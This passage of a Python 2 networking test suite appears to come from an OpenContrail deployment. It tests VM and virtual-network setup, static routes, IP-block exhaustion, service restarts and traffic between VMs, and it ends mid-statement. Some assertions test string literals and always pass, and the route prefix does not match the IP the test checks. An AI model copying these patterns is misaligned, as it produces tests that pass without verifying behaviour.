test_vm_add_delete @preposttest_wrapper def test_static_route_to_vm(self): ''' Test to validate that traffic to a destination for which a VM is a next-hop sis sent to the tap-interface in the agent, corresponding to the VM. ''' vm1_name = 'vm_mine' vn1_name = 'vn222' vn1_subnets = ['172.16.17.32/24'] vm2_name = 'vm_yours' vn2_name = 'vn111' vn2_subnets = ['172.16.17.32/24'] vn1_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn1_name, inputs=self.inputs, subnets=vn1_subnets)) assert vn1_fixture.verify_on_setup() vn1_obj = vn1_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn1_obj, vm_name=vm1_name, project_name=self.inputs.project_name, flavor='contrail_flavor_small', image_name='ubuntu-traffic')) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn1_obj, vm_name=vm2_name, project_name=self.inputs.project_name, flavor='contrail_flavor_small', image_name='ubuntu-traffic')) assert vm2_fixture.verify_on_setup() self.logger.info( '+++++ Will add a static route with the VM1 as the next-hop and verify the route entry in the agent ++++++') vm1_vmi_id = vm1_fixture.cs_vmi_obj[vn1_fixture.vn_fq_name][ 'virtual-machine-interface']['uuid'] add_static_route_cmd = 'python provision_static_route.py --prefix 192.168.3.11/32 --virtual_machine_interface_id ' + vm1_vmi_id + ' --tenant_name "admin" --api_server_ip 127.0.0.1 --api_server_port 8082 \ --oper add --route_table_name my_route_table' with settings(host_string='%s@%s' % (self.inputs.username, self.inputs.cfgm_ips[0]), password=self.inputs.password, warn_only=True, abort_on_prompts=False, debug=True): status = run('cd /opt/contrail/utils;' + add_static_route_cmd) self.logger.debug("%s" % status) m = re.search(r'Creating Route table', status) assert m, 'Failed in Creating Route table' time.sleep(10) for vm_fixture in [vm1_fixture, vm2_fixture]: (domain, project, vn) = vn1_fixture.vn_fq_name.split(':') inspect_h = self.agent_inspect[vm_fixture.vm_node_ip] agent_vrf_objs = inspect_h.get_vna_vrf_objs(domain, project, vn) agent_vrf_obj = vm_fixture.get_matching_vrf( agent_vrf_objs['vrf_list'], vn1_fixture.vrf_name) vn_vrf_id = agent_vrf_obj['ucindex'] paths = inspect_h.get_vna_active_route( vrf_id=vn_vrf_id, ip='1.2.3.4', prefix='32')['path_list'] self.logger.info('There are %s nexthops to 1.2.3.4 on Agent %s' % (len(paths), vm_fixture.vm_node_ip)) compute_ip = vm1_fixture.vm_node_ip compute_user = self.inputs.host_data[compute_ip]['username'] compute_password = self.inputs.host_data[compute_ip]['password'] session = ssh(compute_ip, compute_user, compute_password) vm1_tapintf = vm1_fixture.tap_intf[vn1_fixture.vn_fq_name]['name'] cmd = 'tcpdump -ni %s icmp -vvv -c 2 > /tmp/%s_out.log' % (vm1_tapintf, vm1_tapintf) execute_cmd(session, cmd, self.logger) self.logger.info('***** Will start a ping from %s to 1.2.3.4 *****' % vm2_fixture.vm_name) vm2_fixture.ping_with_certainty('1.2.3.4', expectation=False) self.logger.info('***** Will check the result of tcpdump *****') output_cmd = 'cat /tmp/%s_out.log' % vm1_tapintf output, err = execute_cmd_out(session, output_cmd, self.logger) print output if '1.2.3.4' in output: self.logger.info( 'Traffic is going to the tap interface of %s correctly' % vm1_fixture.vm_name) else: result = False assert result self.logger.error( 'Traffic to 1.2.3.4 not seen on the tap interface of %s' % vm1_fixture.vm_name) self.logger.info( '-------------------------Will delete the static route now------------------') del_static_route_cmd = 'python provision_static_route.py --prefix 192.168.3.11/32 --virtual_machine_interface_id ' + vm1_vmi_id + ' --tenant_name "admin" --api_server_ip 127.0.0.1 --api_server_port 8082 \ --oper del --route_table_name my_route_table' with settings(host_string='%s@%s' % (self.inputs.username, self.inputs.cfgm_ips[0]), password=self.inputs.password, warn_only=True, abort_on_prompts=False, debug=True): del_status = run('cd /opt/contrail/utils;' + del_static_route_cmd) self.logger.debug("%s" % del_status) time.sleep(10) for vm_fixture in [vm1_fixture, vm2_fixture]: (domain, project, vn) = vn1_fixture.vn_fq_name.split(':') inspect_h = self.agent_inspect[vm_fixture.vm_node_ip] agent_vrf_objs = inspect_h.get_vna_vrf_objs(domain, project, vn) agent_vrf_obj = vm_fixture.get_matching_vrf( agent_vrf_objs['vrf_list'], vn1_fixture.vrf_name) vn_vrf_id = agent_vrf_obj['ucindex'] del_check = True if inspect_h.get_vna_active_route(vrf_id=vn_vrf_id, ip='192.168.3.11', prefix='32') == None: self.logger.info('There is no route to 1.2.3.4 on Agent %s' % vm_fixture.vm_node_ip) else: del_check = False assert del_check, 'Static Route Deletion unsuccessful' return True # end test_static_route_to_vm @preposttest_wrapper def test_vm_multiple_flavors(self): ''' Test to validate creation and deletion of VMs of all flavors. ''' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm_tiny', flavor='m1.tiny', project_name=self.inputs.project_name, image_name='cirros-0.3.0-x86_64-uec')) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm_small', flavor='m1.small', project_name=self.inputs.project_name)) vm3_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm_medium', flavor='m1.medium', project_name=self.inputs.project_name)) vm4_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm_large', flavor='m1.large', project_name=self.inputs.project_name)) vm5_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm_xlarge', flavor='m1.xlarge', project_name=self.inputs.project_name)) for a in range(1, 6): wait = eval('vm%d_fixture.wait_till_vm_is_up()' % a) assert 'wait' for i in range(1, 5): for j in range(i + 1, 6): ping = eval('vm%d_fixture.ping_to_ip ( vm%d_fixture.vm_ip )' % (i, j)) assert 'ping' return True # end test_vm_multiple_flavors @preposttest_wrapper def test_vm_vn_block_exhaustion(self): ''' Test to validate that a VMs cannot be created after the IP-Block is exhausted. ''' vn_name = 'vn222' vn_subnets = ['172.16.17.32/29'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj self.logger.info( 'out of /29 block, we can have 5 usable addresses. Only 5 VMs should get launched properly.') vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm1', project_name=self.inputs.project_name)) vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm2', project_name=self.inputs.project_name)) vm3_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm3', project_name=self.inputs.project_name)) vm4_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm4', project_name=self.inputs.project_name)) vm5_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm5', project_name=self.inputs.project_name)) self.logger.info( 'The 6th VM should go into ERROR state as it is unable to get any ip. The ip-block is exhausted') sleep(15) vm6_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm6', project_name=self.inputs.project_name)) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() assert vm3_fixture.verify_on_setup() assert vm4_fixture.verify_on_setup() assert vm5_fixture.verify_on_setup() assert not vm6_fixture.verify_on_setup() return True # end test_vm_vn_block_exhaustion @preposttest_wrapper def test_multistep_vm_delete_with_stop_start_service(self): ''' Test to validate VMs addition deletion after service restarts. ''' vn_name = 'vn1' vn_subnets = ['10.10.10.0/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj self.logger.info('Launching VM') vm1_fixture = VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm1', project_name=self.inputs.project_name) vm1_fixture.setUp() vm1_fixture.verify_vm_launched() self.logger.info('VM launched successfully.Stopping vrouter service') for compute_ip in self.inputs.compute_ips: self.inputs.stop_service('contrail-vrouter', [compute_ip]) # self.addCleanup( sleep(10)) self.addCleanup(self.inputs.start_service, 'contrail-vrouter', [compute_ip]) self.logger.info('Trying to delete the VM') assert not vm1_fixture.cleanUp() self.logger.info('VM is not deleted as expected') for compute_ip in self.inputs.compute_ips: self.logger.info('Starting Vrouter Service') self.inputs.start_service('contrail-vrouter', [compute_ip]) sleep(10) return True # end test_multistep_vm_delete_with_stop_start_service @preposttest_wrapper def test_multistep_vm_add_delete_with_stop_start_service(self): ''' Test to validate VMs addition deletion after service restarts. ''' vn_name = 'vn1' vn_subnets = ['10.10.10.0/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj self.logger.info('Launching VM') vm1_fixture = VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm1', project_name=self.inputs.project_name) vm1_fixture.setUp() vm1_fixture.verify_vm_launched() self.logger.info('vm1 launched successfully.Stopping vrouter service') for compute_ip in self.inputs.compute_ips: self.inputs.stop_service('contrail-vrouter', [compute_ip]) self.addCleanup(self.inputs.start_service, 'contrail-vrouter', [compute_ip]) self.logger.info('Trying to delete vm1') assert not vm1_fixture.cleanUp() self.logger.info( 'vm1 is not deleted as expected.Trying to launch a new VM vm2') vm2_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm2', project_name=self.inputs.project_name)) vm2_fixture.verify_vm_launched() self.logger.info('Checking if vm2 has booted up') assert not self.nova_fixture.wait_till_vm_is_up(vm2_fixture.vm_obj) self.logger.info( 'vm2 has not booted up as expected.Starting vrouter service') for compute_ip in self.inputs.compute_ips: self.inputs.start_service('contrail-vrouter', [compute_ip]) vm2_fixture.wait_till_vm_is_up() self.logger.info('vm2 is up now as expected') assert vm2_fixture.verify_on_setup() return True # end test_multistep_vm_add_delete_with_stop_start_service @preposttest_wrapper def test_nova_com_sch_restart_with_multiple_vn_vm(self): ''' Test to validate that multiple VM creation and deletion passes. ''' vm1_name = 'vm_mine' vn_name = 'vn222' vn_subnets = ['172.16.17.32/24'] vn_count_for_test = 32 if (len(self.inputs.compute_ips) == 1): vn_count_for_test = 5 vm_fixture = self.useFixture( create_multiple_vn_and_multiple_vm_fixture( connections=self.connections, vn_name=vn_name, vm_name=vm1_name, inputs=self.inputs, project_name=self.inputs.project_name, subnets=vn_subnets, vn_count=vn_count_for_test, vm_count=1, subnet_count=1, image_name='cirros-0.3.0-x86_64-uec', flavor='m1.tiny')) time.sleep(100) try: assert vm_fixture.verify_vms_on_setup() assert vm_fixture.verify_vns_on_setup() except Exception as e: self.logger.exception("Got exception as %s" % (e)) compute_ip = [] for vmobj in vm_fixture.vm_obj_dict.values(): vm_host_ip = vmobj.vm_node_ip if vm_host_ip not in compute_ip: compute_ip.append(vm_host_ip) self.inputs.restart_service('openstack-nova-compute', compute_ip) self.inputs.restart_service('openstack-nova-scheduler', compute_ip) sleep(30) for vmobj in vm_fixture.vm_obj_dict.values(): assert vmobj.verify_on_setup() return True # end test_nova_com_sch_restart_with_multiple_vn_vm @preposttest_wrapper def test_vn_vm_no_ip_assign(self): '''Test to check that VM launched in a VN with no subnet gets ip assigned after subnet is assigned to the VN and VM is made active. ''' vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name='vn22', inputs=self.inputs)) assert vn_fixture result = True vn_obj = self.quantum_fixture.get_vn_obj_if_present('vn22') vn_id = vn_obj['network']['id'] subnet = '20.20.20.0/24' self.logger.info('VN launched with no ip block.Launching VM now.') vm1_fixture = self.useFixture(VMFixture(connections=self.connections, vn_obj=vn_fixture.obj, vm_name='vm222', project_name=self.inputs.project_name)) self.project_fixture = self.useFixture(ProjectFixture( vnc_lib_h=self.vnc_lib, project_name=self.inputs.project_name, connections=self.connections)) vm_obj = self.nova_fixture.get_vm_if_present( 'vm222', self.project_fixture.uuid) self.logger.info('The VM should not get any IP') assert not vm1_fixture.verify_on_setup() self.logger.info('Now assigning IP block to VN') ipam = vn_fixture.ipam_fq_name vn_fixture.create_subnet(subnet, ipam) vnnow_obj = self.quantum_fixture.get_vn_obj_if_present('vn22') subnet_created = vnnow_obj['network'][ 'contrail:subnet_ipam'][0]['subnet_cidr'] if subnet_created != subnet: self.logger.error('ip block is not assigned to VN') result = False assert result else: self.logger.info( 'ip block is assigned to the VN.Chcking VM state') vm_obj.get() state = vm_obj.status if state == 'ACTIVE': self.logger.error('VM status is %s.Should not be active' % (state)) result = False assert result else: self.logger.info('VM status is not ACTIVE as expected.') # vm_obj.reset_state('active') # vm_obj.get() # state_new=vm_obj.status # if state_new!='ACTIVE': # self.logger.error ('VM is not active') # result = False # assert result # else: # self.logger.info ('VM status is ACTIVE as expected.VM should get ip if bug 954 is fixed') # result = self.nova_fixture.get_vm_ip(vm_obj, 'vn22') # assert result return result # end test_vn_vm_no_ip_assign @preposttest_wrapper def test_vn_in_agent_with_vms_add_delete(self): ''' Test to validate VN's existence and removal in agent with deletion of associated VMs. ''' vn_name = 'vn1' vn_subnets = ['10.10.10.0/24'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj self.logger.info('Launching VMs') vm1_fixture = VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm1', project_name=self.inputs.project_name) vm1_fixture.setUp() vm1_fixture.verify_vm_launched() vm2_fixture = VMFixture(connections=self.connections, vn_obj=vn_obj, vm_name='vm2', project_name=self.inputs.project_name) vm2_fixture.setUp() vm2_fixture.verify_vm_launched() self.logger.info('vm1 and vm2 launched successfully.') sleep(10) # for compute_ip in self.inputs.compute_ips: self.logger.info('Deleting vm2') vm2_fixture.cleanUp() self.logger.info('Checking if vn is still present in agent') assert not vn_fixture.verify_vn_not_in_agent() self.logger.info('VN is present in agent as expected.Now deleting vm1') vm1_fixture.cleanUp() self.logger.info('Checking if VN is removed from agent') # assert vn_fixture.verify_vn_not_in_agent() self.logger.info('VN is not present in agent as expected') return True # end test_vn_in_agent_with_vms_add_delete @preposttest_wrapper def test_traffic_bw_vms_diff_pkt_size(self): ''' Test to validate TCP, ICMP, UDP traffic of different packet sizes b/w VMs created within a VN. ''' vn_name = 'vn222' vn_subnets = ['172.16.17.32/29'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() # Get all compute host host_list = [] for host in self.inputs.compute_ips: host_list.append(self.inputs.host_data[host]['name']) print host_list if len(set(self.inputs.compute_ips)) > 1: self.logger.info("Multi-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1', node_name=host_list[1])) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2', node_name=host_list[0])) assert vm2_fixture.verify_on_setup() else: self.logger.info("Single-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1')) vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() out1 = vm1_fixture.wait_till_vm_is_up() if out1 == False: return {'result': out1, 'msg': "%s failed to come up" % vm1_fixture.vm_name} else: self.logger.info('Will install Traffic package on %s' % vm1_fixture.vm_name) vm1_fixture.install_pkg("Traffic") out2 = vm2_fixture.wait_till_vm_is_up() if out2 == False: return {'result': out2, 'msg': "%s failed to come up" % vm2_fixture.vm_name} else: self.logger.info('Will install Traffic package on %s' % vm2_fixture.vm_name) vm2_fixture.install_pkg("Traffic") result = True msg = [] traffic_obj = {} startStatus = {} stopStatus = {} traffic_proto_l = ['tcp', 'icmp', 'udp'] total_streams = {} total_streams['icmp'] = 1 total_streams['udp'] = 2 total_streams['tcp'] = 2 dpi = 9100 proto = 'udp' packet_sizes = [40, 64, 254, 748, 1350] cmd_to_increase_mtu = ['ifconfig eth0 mtu 16436'] for packet_size in packet_sizes: if packet_size > 1400: self.logger.info('Increasing the MTU of the eth0 of VM') vm1_fixture.run_cmd_on_vm( cmds=cmd_to_increase_mtu) vm2_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu) self.logger.info("-" * 80) self.logger.info("PACKET SIZE = %sB" % packet_size) self.logger.info("-" * 80) for proto in traffic_proto_l: traffic_obj[proto] = {} startStatus[proto] = {} traffic_obj[proto] = self.useFixture( traffic_tests.trafficTestFixture(self.connections)) # def startTraffic (self, name=name, num_streams= 1, start_port= 9100, tx_vm_fixture= None, rx_vm_fixture= None, stream_proto= 'udp', \ # packet_size= 100, start_sport= 8000, # total_single_instance_streams= 20): startStatus[proto] = traffic_obj[proto].startTraffic( num_streams=total_streams[proto], start_port=dpi, tx_vm_fixture=vm1_fixture, rx_vm_fixture=vm2_fixture, stream_proto=proto, packet_size=packet_size) self.logger.info("Status of start traffic : %s, %s, %s" % (proto, vm1_fixture.vm_ip, startStatus[proto])) if startStatus[proto]['status'] != True: msg.append(startStatus[proto]) result = False #self.assertEqual(out['result'], True, out['msg']) self.logger.info("-" * 80) # Poll live traffic traffic_stats = {} self.logger.info("Poll live traffic and get status..") for proto in traffic_proto_l: traffic_stats = traffic_obj[proto].getLiveTrafficStats() err_msg = ["Traffic disruption is seen: details: "] + \ traffic_stats['msg'] self.assertEqual(traffic_stats['status'], True, err_msg) self.logger.info("-" * 80) # Stop Traffic self.logger.info("Proceed to stop traffic..") self.logger.info("-" * 80) for proto in traffic_proto_l: stopStatus[proto] = {} stopStatus[proto] = traffic_obj[proto].stopTraffic() if stopStatus[proto] != []: msg.append(stopStatus[proto]) result = False self.logger.info( "Status of stop traffic for proto %s and packet size of %sB is %s" % (proto, packet_size, stopStatus[proto])) self.logger.info("-" * 80) print result self.logger.info('Sleeping for 20s') sleep(10) self.assertEqual(result, True, msg) return True # end test_traffic_bw_vms_diff_pkt_size @preposttest_wrapper def test_traffic_bw_vms_diff_pkt_size_w_chksum(self): ''' Test to validate ICMP, UDP traffic of different packet sizes b/w VMs created within a VN and validate UDP checksum. ''' vn_name = 'vn222' vn_subnets = ['172.16.17.32/29'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() # Get all compute host host_list = [] for host in self.inputs.compute_ips: host_list.append(self.inputs.host_data[host]['name']) print host_list if len(set(self.inputs.compute_ips)) > 1: self.logger.info("Multi-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1', node_name=host_list[1])) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2', node_name=host_list[0])) assert vm2_fixture.verify_on_setup() else: self.logger.info("Single-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1')) vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() out1 = vm1_fixture.wait_till_vm_is_up() if out1 == False: return {'result': out1, 'msg': "%s failed to come up" % vm1_fixture.vm_name} else: self.logger.info('Will install Traffic package on %s' % vm1_fixture.vm_name) vm1_fixture.install_pkg("Traffic") out2 = vm2_fixture.wait_till_vm_is_up() if out2 == False: return {'result': out2, 'msg': "%s failed to come up" % vm2_fixture.vm_name} else: self.logger.info('Will install Traffic package on %s' % vm2_fixture.vm_name) vm2_fixture.install_pkg("Traffic") result = True msg = [] traffic_obj = {} startStatus = {} stopStatus = {} traffic_proto_l = ['icmp', 'udp'] total_streams = {} total_streams['icmp'] = 1 total_streams['udp'] = 2 dpi = 9100 proto = 'udp' packet_sizes = [40, 64, 254, 748, 1350] cmd_to_increase_mtu = ['ifconfig eth0 mtu 16436'] for packet_size in packet_sizes: if packet_size > 1400: self.logger.info('Increasing the MTU of the eth0 of VM') vm1_fixture.run_cmd_on_vm( cmds=cmd_to_increase_mtu) vm2_fixture.run_cmd_on_vm(cmds=cmd_to_increase_mtu) self.logger.info("-" * 80) self.logger.info("PACKET SIZE = %sB" % packet_size) self.logger.info("-" * 80) for proto in traffic_proto_l: name = proto traffic_obj[proto] = {} startStatus[proto] = {} traffic_obj[proto] = self.useFixture( traffic_tests.trafficTestFixture(self.connections)) # def startTraffic (self, name=name, num_streams= 1, start_port= 9100, tx_vm_fixture= None, rx_vm_fixture= None, stream_proto= 'udp', \ # packet_size= 100, start_sport= 8000, # total_single_instance_streams= 20): startStatus[proto] = traffic_obj[proto].startTraffic( num_streams=total_streams[proto], start_port=dpi, tx_vm_fixture=vm1_fixture, rx_vm_fixture=vm2_fixture, stream_proto=proto, packet_size=packet_size, chksum=True) self.logger.info("Status of start traffic : %s, %s, %s" % (proto, vm1_fixture.vm_ip, startStatus[proto])) if startStatus[proto]['status'] != True: msg.append(startStatus[proto]) result = False #self.assertEqual(out['result'], True, out['msg']) self.logger.info("-" * 80) # Poll live traffic traffic_stats = {} self.logger.info("Poll live traffic and get status..") for proto in traffic_proto_l: traffic_stats = traffic_obj[proto].getLiveTrafficStats() err_msg = ["Traffic disruption is seen: details: "] + \ traffic_stats['msg'] self.assertEqual(traffic_stats['status'], True, err_msg) self.logger.info("-" * 80) # Stop Traffic self.logger.info("Proceed to stop traffic..") self.logger.info("-" * 80) for proto in traffic_proto_l: stopStatus[proto] = {} stopStatus[proto] = traffic_obj[proto].stopTraffic() if stopStatus[proto] != []: msg.append(stopStatus[proto]) result = False for rcv_count in range(0, total_streams[proto]): if traffic_obj[proto].receiver[rcv_count].corrupt > 0: self.logger.error( "In Stream %s of %s, %s packets are corrupted" % (rcv_count, proto, traffic_obj[proto].receiver[rcv_count].corrupt)) result = False else: self.logger.info( "In Stream %s of %s, No packets are corrupted" % (rcv_count, proto)) self.logger.info( "Status of stop traffic for proto %s and packet size of %sB is %s" % (proto, packet_size, stopStatus[proto])) self.logger.info("-" * 80) print result sleep(5) self.assertEqual(result, True, msg) return True # end test_traffic_bw_vms_diff_pkt_size_w_chksum @preposttest_wrapper def test_traffic_bw_vms(self): ''' Test to validate TCP, ICMP, UDP traffic b/w VMs created within a VN . ''' vn_name = 'vn222' vn_subnets = ['172.16.17.32/29'] vn_fixture = self.useFixture( VNFixture( project_name=self.inputs.project_name, connections=self.connections, vn_name=vn_name, inputs=self.inputs, subnets=vn_subnets)) assert vn_fixture.verify_on_setup() vn_obj = vn_fixture.obj # Get all compute host host_list = [] for host in self.inputs.compute_ips: host_list.append(self.inputs.host_data[host]['name']) print host_list if len(set(self.inputs.compute_ips)) > 1: self.logger.info("Multi-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1', node_name=host_list[1])) assert vm1_fixture.verify_on_setup() vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2', node_name=host_list[0])) assert vm2_fixture.verify_on_setup() else: self.logger.info("Single-Node Setup") vm1_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm1')) vm2_fixture = self.useFixture( VMFixture(project_name=self.inputs.project_name, connections=self.connections, vn_obj=vn_fixture.obj, flavor='contrail_flavor_small', image_name='ubuntu-traffic', vm_name='vm2')) assert vm1_fixture.verify_on_setup() assert vm2_fixture.verify_on_setup() out1 = vm1_fixture.wait_till_vm_is_up() if out1 == False: return {'result': out1, 'msg': "%s failed to come up" % vm1_fixture.vm_name} else: sleep(10) self.logger.info('Will install Traffic package on %s' % vm1_fixture.vm_name) vm1_fixture.install_pkg("Traffic") out2 = vm2_fixture.wait_till_vm_is_up() if out2 == False: return {'result': out2, 'msg': "%s failed to come up" % vm2_fixture.vm_name} else: sleep(10) self.logger.info('Will install Traffic package on %s' % vm2_fixture.vm_name) vm2_fixture.install_pkg("Traffic") #self.logger.info('Will install Traffic package') # vm1_fixture.install_pkg("Traffic") # vm2_fixture.install_pkg("Traffic") #self.logger.info('Installed Traffic package') result = True msg = [] traffic_obj = {} startStatus = {} stopStatus = {} traffic_proto_l = ['tcp', 'icmp', 'udp'] total_streams = {} total_streams['icmp'] = 1 total_streams['udp'] = 2 total_streams['tcp'] = 2 dpi = 9100 proto = 'udp' for proto in traffic_proto_l: traffic_obj[proto] = {} startStatus[proto] = {} traffic_obj[proto] = self.useFixture( traffic_tests.trafficTestFixture(self.connections)) # def startTraffic (self, name=name, num_streams= 1, start_port= 9100, tx_vm_fixture= None, rx_vm_fixture= None, stream_proto= 'udp', \ # packet_size= 100, start_sport= 8000, # total_single_instance_streams= 20): startStatus[proto] = traffic_obj[proto].startTraffic( num_streams=total_streams[proto], start_port=dpi, tx_vm_fixture=vm1_fixture, rx_vm_fixture=vm2_fixture, stream_proto=proto) self.logger.info("Status of start traffic : %s, %s, %s" % (proto, vm1_fixture.vm_ip, startStatus[proto])) if startStatus[proto]['status'] != True: msg.append(startStatus[proto]) result = False #self.assertEqual(out['result'], True, out['msg']) self.logger.info("-" * 80) # Poll live traffic traffic_stats = {} self.logger.info("Poll live traffic and get status..") for proto in traffic_proto_l: traffic_stats = traffic_obj[proto].getLiveTrafficStats() err_msg = ["Traffic disruption is seen: details: "] + \ traffic_stats['msg'] self.assertEqual(traffic_stats['status'], True, err_msg) self.logger.info("-" * 80) # Stop Traffic self.logger.info("Proceed to stop traffic..") self.logger.info("-" * 80) for proto in traffic_proto_l: stopStatus[proto] = {} stopStatus[proto] = traffic_obj[proto].stopTraffic() if stopStatus[proto] != []: msg.append(stopStatus[proto]) result = False self.logger.info("Status of stop traffic for proto %s is %s" % (proto, stopStatus[proto])) self.logger.info("-" * 80) self.assertEqual(result, True, msg) return True # end test_traffic_bw_vms @preposttest_wrapper def test_policy_between_vns_diff_proj(self): ''' Test to validate that policy to deny and pass under different projects should behave accordingly. ''' vm_names = ['vm_100', 'vm_200', 'vm_300', 'vm_400'] vn_names = ['vn_100', 'vn_200', 'vn_300', 'vn_400'] vn_subnets = [['10.1.1.0/24'], ['172.16.17.32/24'], ['192.168.127.12/24'], ['172.16.31.10/24']] projects = ['project111', 'project222'] policy_names = ['policy1', 'policy2', 'policy3', 'policy4'] rules = [ { 'direction': '<>', 'simple_action': 'pass', 'protocol': 'icmp', 'source_network': vn_names[0], 'dest_network': vn_names[1], }, ] rev_rules = [ { 'direction': '<>', 'simple_action': 'pass', 'protocol': 'icmp', 'source_network': vn_names[1], 'dest_network': vn_names[0], }, ] rules1 = [ { 'direction': '<>', 'simple_action': 'deny', 'protocol': 'icmp', 'source_network': vn_names[2], 'dest_network': vn_names[3], }, ] rev_rules1 = [ { 'direction': '<>', 'simple_action': 'deny', 'protocol': 'icmp', 'source_network': vn_names[3], 'dest_network': vn_names[2], }, ] user_list = [('gudi', 'gudi123', 'admin'), ('mal', 'mal123', 'admin')] project_fixture1 = self.useFixture( ProjectFixture( project_name=projects[ 0], vnc_lib_h=self.vnc_lib, username=user_list[0][0], password=user_list[0][1], connections=self.connections)) project_inputs1 = self.useFixture( ContrailTestInit( self.ini_file, stack_user=project_fixture1.username, stack_password=project_fixture1.password, project_fq_name=['default-domain', projects[0]])) project_connections1 = ContrailConnections(project_inputs1) project_fixture2 = self.useFixture( ProjectFixture( project_name=projects[ 1], vnc_lib_h=self.vnc_lib, username=user_list[1][0], password=user_list[1][1], connections=self.connections)) project_inputs2 = self.useFixture( ContrailTestInit( self.ini_file, stack_user=project_fixture2.username, stack_password=project_fixture2.password, project_fq_name=['default-domain', projects[1]])) project_connections2 = ContrailConnections(project_inputs2) self.logger.info( 'We will now create policy to allow in project %s and check that ping passes between the VMs' % (projects[0])) policy1_fixture = self.useFixture( PolicyFixture( policy_name=policy_names[ 0], rules_list=rules, inputs=project_inputs1, connections=project_connections1)) policy2_fixture = self.useFixture( PolicyFixture( policy_name=policy_names[ 1], rules_list=rev_rules, inputs=project_inputs1, connections=project_connections1)) vn1_fixture = 